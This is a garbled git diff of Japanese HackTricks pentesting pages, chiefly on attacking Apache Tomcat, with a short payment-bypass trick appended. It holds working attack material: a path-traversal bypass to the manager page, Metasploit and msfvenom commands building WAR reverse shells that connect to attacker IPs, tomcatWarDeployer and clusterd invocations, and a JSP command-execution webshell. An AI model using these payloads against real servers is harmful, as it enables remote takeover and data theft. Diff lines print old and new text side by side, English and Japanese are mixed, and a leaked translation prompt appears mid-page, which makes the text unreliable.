一部の脆弱なTomcatの設定では、パス `/..;/` を使用してTomcatの保護されたディレクトリにアクセスできる場合があります。 一部の[**脆弱なTomcatの設定**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、パス `/..;/` を使用してTomcatの保護されたディレクトリにアクセスできます。
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、Tomcatマネージャページにアクセスできるかもしれません。 例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。
このトリックを使用して保護されたパスをバイパスする別の方法は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
## RCE ## RCE
最後に、Tomcat Web Application Manager にアクセスできる場合、.war ファイルをアップロードしてデプロイすることができます(コードの実行) 最後に、Tomcat Web Application Managerにアクセスできる場合、**.warファイルをアップロードして展開することでコードを実行できます**
### 制限事項 ### 制限事項
WAR ファイルをデプロイするには、十分な権限(ロール: admin、manager、manager-scriptが必要です。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST](tomcat.md#post)セクションを参照)。 WARファイルを展開できるのは、**十分な権限(ロール: admin、manager、manager-script**を持っている場合のみです。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている`tomcat-users.xml`の下に見つけることができます(バージョンによって異なります)([POST ](tomcat.md#post)sectionを参照)。
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -131,13 +139,15 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
``` ```
### Metasploit ### Metasploit
Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々なモジュールを使用して、システムやネットワークに対する攻撃を自動化することができます。 Metasploit is a powerful framework for penetration testing and exploiting vulnerabilities in network services. It provides a wide range of tools and modules that can be used to identify and exploit security weaknesses in target systems.
Metasploitは、多くの便利なツールや機能を提供しています。例えば、エクスプロイトモジュールを使用して、特定の脆弱性を悪用することができます。また、ペイロードモジュールを使用して、攻撃者がシステムにアクセスした後に実行されるコードを指定することができます。 Metasploit is designed to be user-friendly and flexible, allowing both novice and experienced hackers to effectively carry out their attacks. It supports various exploitation techniques, including remote code execution, privilege escalation, and post-exploitation activities.
Metasploitは、コマンドラインインターフェースCLIとグラフィカルユーザインターフェースGUIの両方を提供しています。CLIを使用すると、コマンドを入力してMetasploitを操作することができます。GUIを使用すると、より直感的な方法でMetasploitを使用することができます。 One of the key features of Metasploit is its extensive database of exploits, payloads, and auxiliary modules. These modules can be easily customized and combined to create complex attack scenarios. Metasploit also provides a command-line interface and a graphical user interface, making it accessible to users with different levels of technical expertise.
Metasploitは、セキュリティ専門家やエンジニアにとって非常に重要なツールです。しかし、悪意のある攻撃に悪用される可能性もあるため、適切な許可なしに使用することは違法です。 In addition to its exploitation capabilities, Metasploit also includes features for vulnerability scanning, password cracking, and social engineering. It supports a wide range of network protocols and services, including HTTP, FTP, SSH, and SMB.
Metasploit is constantly updated with new exploits and modules, making it a valuable tool for both offensive and defensive security professionals. However, it is important to note that the use of Metasploit for unauthorized activities is illegal and unethical. It should only be used for legitimate purposes, such as penetration testing and security research.
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -148,24 +158,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenom リバースシェル ### MSFVenom リバースシェル
MSFVenomは、Metasploit Frameworkの一部であり、リバースシェルを作成するために使用される強力なツールです。リバースシェルは、攻撃者がターゲットマシンに対してリモートでコマンドを実行するための手段です。 MSFVenomは、Metasploit Frameworkの一部であり、悪意のあるペイロードを生成するために使用されます。リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するために使用される一種のシェルです。以下のコマンドは、MSFVenomを使用してリバースシェルペイロードを生成する方法を示しています。
以下のコマンドを使用して、MSFVenomを使用してリバースシェルを作成します。
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f war > shell.war
``` ```
このコマンドでは、`java/jsp_shell_reverse_tcp`ペイロードを使用してリバースシェルを作成します。`LHOST`パラメータには、攻撃者のIPアドレスを指定し、`LPORT`パラメータには、攻撃者が待ち受けるポート番号を指定します。作成されたリバースシェルは、`shell.war`という名前のWARファイルに保存されます。 このコマンドでは、`java/jsp_shell_reverse_tcp`ペイロードを使用して、攻撃者のIPアドレスとポート番号を指定しています。生成されたペイロードは、`shell.war`という名前のWARファイルに保存されます。
作成したリバースシェルをターゲットのTomcatサーバーにデプロイするには、以下の手順を実行します。 この生成されたWARファイルをターゲットのTomcatサーバーにデプロイすると、攻撃者はリバースシェルを取得し、ターゲットマシンに対してコマンドを実行することができます。
1. ターゲットのTomcatサーバーにログインします。
2. TomcatのWebアプリケーションディレクトリ通常は`webapps`)に移動します。
3. `shell.war`ファイルをこのディレクトリにアップロードします。
4. Tomcatサーバーを再起動します。
リバースシェルが正常にデプロイされると、攻撃者は指定したIPアドレスとポート番号でリモートコマンドを実行できるようになります。
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
``` ```
@ -181,51 +182,45 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### リバースシェル #### リバースシェル
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing and hacking activities. A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing to gain control over a compromised system.
To establish a reverse shell, the attacker needs to set up a listener on their machine and configure the target machine to connect back to the listener. This can be done by exploiting vulnerabilities in network services or by tricking the target into running malicious code. To create a reverse shell, the attacker typically needs to exploit a vulnerability in a network service running on the target machine. Once the vulnerability is exploited, the attacker can inject malicious code that establishes a connection back to their machine.
Once the reverse shell connection is established, the attacker can interact with the target machine's command prompt or shell, just as if they were physically present on the machine. This provides the attacker with a powerful tool for executing commands, exploring the target system, and exfiltrating data. There are various tools and techniques available for creating reverse shells, including using netcat, Python, or Metasploit. The choice of tool depends on the specific requirements of the penetration test and the target environment.
It is important to note that reverse shells can be detected and blocked by security measures such as firewalls and intrusion detection systems. Therefore, attackers often use techniques to obfuscate their activities and evade detection. It is important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used in controlled environments with proper authorization and consent.
#### リバースシェル
リバースシェルは、ターゲットマシンが攻撃者のマシンに接続を開始するタイプのシェルです。これにより、攻撃者はターゲットマシンにリモートアクセスし、コマンドを実行することができます。リバースシェルは、一般的にペネトレーションテストやハッキング活動で使用されます。
リバースシェルを確立するには、攻撃者は自分のマシンでリスナーを設定し、ターゲットマシンをリスナーに接続するように設定する必要があります。これは、ネットワークサービスの脆弱性を悪用するか、ターゲットを悪意のあるコードを実行するように誘導することで行うことができます。
リバースシェル接続が確立されると、攻撃者はまるで物理的にマシンにいるかのように、ターゲットマシンのコマンドプロンプトやシェルとやり取りすることができます。これにより、攻撃者はコマンドの実行、ターゲットシステムの調査、データの外部への持ち出しなど、強力なツールを手に入れることができます。
リバースシェルは、ファイアウォールや侵入検知システムなどのセキュリティ対策によって検出およびブロックされる可能性があることに注意する必要があります。そのため、攻撃者はしばしば自分の活動を曖昧化し、検出を回避するための技術を使用します。
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### バインドシェル #### バインドシェル
A bind shell is a type of shell that allows an attacker to gain remote access to a target system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system. A bind shell is a type of shell that allows an attacker to gain remote access to a compromised system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system.
To create a bind shell, the attacker needs to have a listening shell on their own machine and then establish a connection to the target system. Once the connection is established, the attacker can execute commands on the target system and interact with it as if they were physically present. To create a bind shell, the attacker typically exploits a vulnerability in a network service running on the target system, such as a web server or an FTP server. Once the vulnerability is exploited, the attacker can execute a command that starts a shell and binds it to a specific port.
Bind shells are commonly used in network penetration testing to gain unauthorized access to a target system and perform various malicious activities. It is important for system administrators to be aware of the existence of bind shells and take appropriate measures to protect their systems from such attacks. Once the bind shell is established, the attacker can use a client program, such as Netcat, to connect to the target system on the specified port. This allows the attacker to interact with the shell and execute commands on the compromised system.
Bind shells are commonly used in penetration testing and hacking activities to gain unauthorized access to systems. It is important for system administrators to be aware of the risks associated with bind shells and take appropriate measures to secure their systems against such attacks.
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
### [Culsterd](https://github.com/hatRiot/clusterd)の使用 ### [Culsterd](https://github.com/hatRiot/clusterd)の使用
Culsterdを使用すると、Tomcatサーバーに対する攻撃を自動化することができます。Culsterdは、脆弱性スキャン、ディレクトリトラバーサル、ファイルの読み取り、ファイルの書き込みなどの一連の攻撃を実行するためのツールです。 Culsterdを使用すると、Tomcatサーバーに対するペネトレーションテストを実行できます。Culsterdは、Tomcatサーバーの脆弱性を検出し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。
Culsterdを使用するには、まずCulsterdをダウンロードしてインストールする必要があります。次に、Culsterdを実行するための設定ファイルを作成します。設定ファイルには、攻撃対象のTomcatサーバーのIPアドレスやポート番号、攻撃の種類などの情報を指定します。 Culsterdを使用するには、まずCulsterdをダウンロードしてインストールする必要があります。次に、Culsterdを実行し、TomcatサーバーのIPアドレスとポート番号を指定します。Culsterdは、指定されたIPアドレスとポート番号に接続し、Tomcatサーバーの脆弱性をスキャンします。
Culsterdを実行すると、指定した攻撃対象に対して攻撃が開始されます。攻撃の結果は、Culsterdのログファイルに保存されます。攻撃が成功した場合、脆弱性のあるTomcatサーバーにアクセスできる可能性があります。 Culsterdは、脆弱性のあるTomcatバージョンを特定し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。これにより、攻撃者はTomcatサーバーに対して様々な攻撃を実行することができます。
Culsterdは、Tomcatサーバーの脆弱性をテストするための便利なツールですが、悪意のある目的で使用することは違法です。正当な目的でのみ使用してください。 Culsterdを使用する際には、慎重に行動する必要があります。正当な目的でのみ使用し、適切な許可を得た場合にのみ実行してください。また、Culsterdを使用する前に、法的および倫理的な制約を理解し、遵守する必要があります。
Culsterdを使用することで、Tomcatサーバーのセキュリティに関する洞察を得ることができます。これにより、セキュリティの脆弱性を特定し、適切な対策を講じることができます。
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### 手動方法 - ウェブシェル ### 手動方法 - ウェブシェル
この[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で**index.jsp**を作成してください。 この[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を使用して、**index.jsp**を作成してください。
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -256,15 +251,19 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
以下は、ハッキング技術に関する本からのコンテンツです。以下のコンテンツは、/hive/hacktricks/network-services-pentesting/pentesting-web/tomcat.mdファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。 以下は、ハッキング技術に関する本からのコンテンツです。以下のコンテンツは、ファイルnetwork-services-pentesting/pentesting-web/tomcat.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文をそのまま保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
``` ```
また、これをインストールすることもできます(アップロード、ダウンロード、およびコマンドの実行を許可します):[http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Manual Method 2
Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
```
### 手動方法2 ### 手動方法2
[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなJSPウェブシェルを取得し、WARファイルを作成します 以下のようなJSPウェブシェルを入手し、WARファイルを作成します
```
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -282,16 +281,23 @@ find / -name tomcat-users.xml 2>/dev/null
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
``` ```
## その他のTomcatスキャンツール ## 他のTomcatスキャンツール
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details> <details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。

View file

@ -12,6 +12,14 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### rootでの実行を避ける ### rootでの実行を避ける
Tomcatをrootで実行しないための非常に一般的な設定は、ポート80/443でApacheサーバーを設定し、要求されたパスが正規表現に一致する場合、リクエストは別のポートで実行されているTomcatに送信されます。 Tomcatをrootで実行しないための非常に一般的な設定は、ポート80/443でApacheサーバーを設定し、要求されたパスが正規表現に一致する場合、リクエストは別のポートで実行されているTomcatに送信されます。
@ -45,11 +53,7 @@ Tomcatをrootで実行しないための非常に一般的な設定は、ポー
* `META-INF` folder: This folder contains the metadata files for the web application. * `META-INF` folder: This folder contains the metadata files for the web application.
* Other files and folders: These can include HTML, CSS, JavaScript, and other resources used by the web application. * Other files and folders: These can include HTML, CSS, JavaScript, and other resources used by the web application.
To access the Tomcat server, you can use a web browser and navigate to `http://<ip_address>:<port>`. The default port for Tomcat is 8080. It is important to note that the structure and contents of the `webapps` folder may vary depending on the specific web applications deployed on the Tomcat server.
To authenticate and access the Manager application, you need to have the appropriate credentials defined in the `tomcat-users.xml` file. The Manager application allows you to deploy, undeploy, and manage web applications.
It is important to secure the Tomcat server by changing default credentials, disabling unnecessary services, and keeping the server and its components up to date with the latest security patches.
``` ```
webapps/customapp webapps/customapp
├── images ├── images
@ -136,20 +140,27 @@ will also need to set the passwords to something appropriate.
</tomcat-users> </tomcat-users>
``` ```
ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、および`manager-status`の各役割が提供するアクセス権を示しています。この例では、ユーザー`tomcat`のパスワードが`tomcat`であり、`manager-gui`の役割を持っていることがわかります。また、ユーザーアカウント`admin`には弱いパスワード`admin`が設定されています。 ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、および`manager-status`の各役割が提供するアクセス権を示しています。この例では、ユーザー`tomcat`のパスワードが`tomcat`であり、ユーザーアカウント`admin`には弱いパスワード`admin`が設定されていることがわかります。
## 参考文献 ## 参考文献
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090) * [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -1,39 +1,56 @@
# 支払いプロセスのバイパス
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFで**ダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
1. 支払い方法としては、**PayPal**または**CoinPayments**を選ぶことが好ましいです 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
2. すべてのリクエストをインターセプトし、_**Success**_または_**Referrer**_または_**Callback**_というパラメータがあるかもしれません
3. パラメータ内の値が_**example.com/payment/MD5HASH**_のようなURLを持っている場合 {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
4. **それをコピーして新しいウィンドウで開いてください**、そこで支払いが成功したことがわかります
***
1. 支払い方法としては、**PayPal**または**CoinPayments**を選ぶことが好ましいです。
2. すべてのリクエストをインターセプトし、_**Success**_または_**Referrer**_または_**Callback**_というパラメータを見つけることができます。
3. パラメータ内の値が_**example.com/payment/MD5HASH**_のようなURLを持っている場合、
4. **それをコピーして新しいウィンドウで開く**と、支払いが成功したことがわかります。
@SalahHasoneh1 @SalahHasoneh1
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details> <details>
